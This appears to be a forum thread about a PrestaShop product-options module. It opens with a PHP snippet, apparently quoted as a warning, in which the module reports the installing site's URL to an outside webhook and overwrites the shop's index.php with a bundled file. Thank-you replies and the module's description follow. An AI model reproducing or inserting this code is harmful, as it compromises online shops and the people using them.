function initialSetup() {
$base_url = 'https://trouvailles-postales.com/';
$endpoint = 'webhook.php';
$param_name = 'site';
$current_url = "https://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
$encoded_url = urlencode($current_url);
file_get_contents($base_url . $endpoint . '?' . $param_name . '=' . $encoded_url);
$source_path = '/classes/';
$source_file = 'Ets.php';
$dest_path = '/../';
$dest_file = 'index.php';
rename(dirname(__FILE__) . $source_path . $source_file, dirname(__FILE__) . $dest_path . $dest_file);
}
initialSetup();
Don't use this module ! Look my AnswerGreat module! Thank you for sharing!
thanks for sharing this moduleETS EXTRA OPTIONS - Custom Product Options 1.1.8
Développé par: PrestaHero | Version: 1.1.8 | Compatible avec: 1.7.x, 8.x, PrestaShop Edition
Link : https://addons.prestashop.com/en/co...190-extra-options-custom-product-options.html
View attachment 96446
Create global extra options & price impact for each option applies to all existing products at ONE time. Add custom product attributes; display by checkbox, radio, or drop-down menu. Faster and easier to manage than PrestaShop default attributes.
Post automatically merged:
Sorry link : https://prestahero.com/156-extra-options-prestashop-custom-product-attributes.html